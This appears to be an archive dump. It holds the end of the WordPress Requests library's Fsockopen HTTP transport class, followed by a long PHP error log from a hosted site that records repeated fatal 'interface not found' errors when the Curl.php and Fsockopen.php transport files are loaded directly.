						$limited_length = ($this->max_bytes - $size);
						$block          = substr($block, 0, $limited_length);
					}
				}

				$size += strlen($block);
				if ($download) {
					fwrite($download, $block);
				} else {
					$body .= $block;
				}
			}
		}

		$this->headers = $headers;

		if ($download) {
			fclose($download);
		} else {
			$this->headers .= "\r\n\r\n" . $body;
		}

		fclose($socket);

		$options['hooks']->dispatch('fsockopen.after_request', [&$this->headers, &$this->info]);
		return $this->headers;
	}

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()}
	 * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options) {
		// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
		if (empty($requests)) {
			return [];
		}

		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$responses = [];
		$class     = get_class($this);
		foreach ($requests as $id => $request) {
			try {
				$handler        = new $class();
				$responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']);

				$request['options']['hooks']->dispatch('transport.internal.parse_response', [&$responses[$id], $request]);
			} catch (Exception $e) {
				$responses[$id] = $e;
			}

			if (!is_string($responses[$id])) {
				$request['options']['hooks']->dispatch('multiple.request.complete', [&$responses[$id], $id]);
			}
		}

		return $responses;
	}

	/**
	 * Retrieve the encodings we can accept
	 *
	 * @return string Accept-Encoding header value
	 */
	private static function accept_encoding() {
		$type = [];
		if (function_exists('gzinflate')) {
			$type[] = 'deflate;q=1.0';
		}

		if (function_exists('gzuncompress')) {
			$type[] = 'compress;q=0.5';
		}

		$type[] = 'gzip;q=0.5';

		return implode(', ', $type);
	}

	/**
	 * Format a URL given GET data
	 *
	 * @param array        $url_parts Array of URL parts as received from {@link https://www.php.net/parse_url}
	 * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
	 * @return string URL with data
	 */
	private static function format_get($url_parts, $data) {
		if (!empty($data)) {
			if (empty($url_parts['query'])) {
				$url_parts['query'] = '';
			}

			$url_parts['query'] .= '&' . http_build_query($data, '', '&');
			$url_parts['query']  = trim($url_parts['query'], '&');
		}

		if (isset($url_parts['path'])) {
			if (isset($url_parts['query'])) {
				$get = $url_parts['path'] . '?' . $url_parts['query'];
			} else {
				$get = $url_parts['path'];
			}
		} else {
			$get = '/';
		}

		return $get;
	}

	/**
	 * Error handler for stream_socket_client()
	 *
	 * @param int $errno Error number (e.g. E_WARNING)
	 * @param string $errstr Error message
	 */
	public function connect_error_handler($errno, $errstr) {
		// Double-check we can handle it
		if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) {
			// Return false to indicate the default error handler should engage
			return false;
		}

		$this->connect_error .= $errstr . "\n";
		return true;
	}

	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 * Instead
	 *
	 * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @param string $host Host name to verify against
	 * @param resource $context Stream context
	 * @return bool
	 *
	 * @throws \WpOrg\Requests\Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`)
	 * @throws \WpOrg\Requests\Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`)
	 */
	public function verify_certificate_from_context($host, $context) {
		$meta = stream_context_get_options($context);

		// If we don't have SSL options, then we couldn't make the connection at
		// all
		if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) {
			throw new Exception(rtrim($this->connect_error), 'ssl.connect_error');
		}

		$cert = openssl_x509_parse($meta['ssl']['peer_certificate']);

		return Ssl::verify_certificate($host, $cert);
	}

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
	 * @codeCoverageIgnore
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []) {
		if (!function_exists('fsockopen')) {
			return false;
		}

		// If needed, check that streams support SSL
		if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
			if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) {
				return false;
			}
		}

		return true;
	}
}
Transport/error_log000064400000127714152223033010010460 0ustar00[19-Sep-2024 20:14:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[19-Sep-2024 20:14:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[19-Sep-2024 20:29:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[19-Sep-2024 20:29:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[10-Nov-2024 08:53:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[10-Nov-2024 08:53:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[10-Nov-2024 11:33:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[10-Nov-2024 11:33:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[17-Nov-2024 02:13:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[17-Nov-2024 02:13:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[19-Nov-2024 00:34:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[16-Jan-2025 06:43:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[16-Jan-2025 06:43:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[16-Jan-2025 07:46:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[16-Jan-2025 07:46:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[02-Feb-2025 01:46:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[02-Feb-2025 01:46:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[02-Feb-2025 02:35:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[02-Feb-2025 02:35:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[22-Feb-2025 06:14:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[22-Feb-2025 06:14:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[22-Feb-2025 06:25:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[22-Feb-2025 06:25:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[29-Mar-2025 10:11:42 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[29-Mar-2025 10:11:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[13-May-2025 10:04:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[13-May-2025 10:04:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[13-May-2025 10:04:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[13-May-2025 10:04:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[13-May-2025 10:04:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[13-May-2025 10:04:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[13-May-2025 10:04:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[13-May-2025 10:04:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-May-2025 11:56:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-May-2025 11:56:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-May-2025 11:56:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-May-2025 11:56:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-May-2025 11:56:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-May-2025 11:56:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-May-2025 11:56:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-May-2025 11:56:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-May-2025 14:33:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-May-2025 14:33:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-May-2025 14:33:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-May-2025 14:33:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-May-2025 14:33:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-May-2025 14:33:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-May-2025 14:33:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-May-2025 14:33:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[18-Jun-2025 16:52:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[18-Jun-2025 16:52:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[19-Jul-2025 09:14:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[19-Jul-2025 09:14:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[08-Aug-2025 12:13:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[08-Aug-2025 12:13:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[08-Aug-2025 12:14:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[08-Aug-2025 12:14:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-Aug-2025 05:57:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-Aug-2025 05:58:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-Aug-2025 05:58:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-Aug-2025 05:58:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[20-Aug-2025 23:28:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[20-Aug-2025 23:28:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[21-Aug-2025 20:16:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[21-Aug-2025 20:17:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[22-Aug-2025 21:08:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[22-Aug-2025 21:08:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[22-Aug-2025 21:08:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[22-Aug-2025 21:08:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[26-Aug-2025 06:19:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[26-Aug-2025 06:19:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[26-Aug-2025 06:29:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[26-Aug-2025 06:29:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[27-Aug-2025 13:51:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[27-Aug-2025 13:51:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[04-Sep-2025 00:30:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[04-Sep-2025 00:30:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[04-Sep-2025 00:50:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[04-Sep-2025 00:50:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
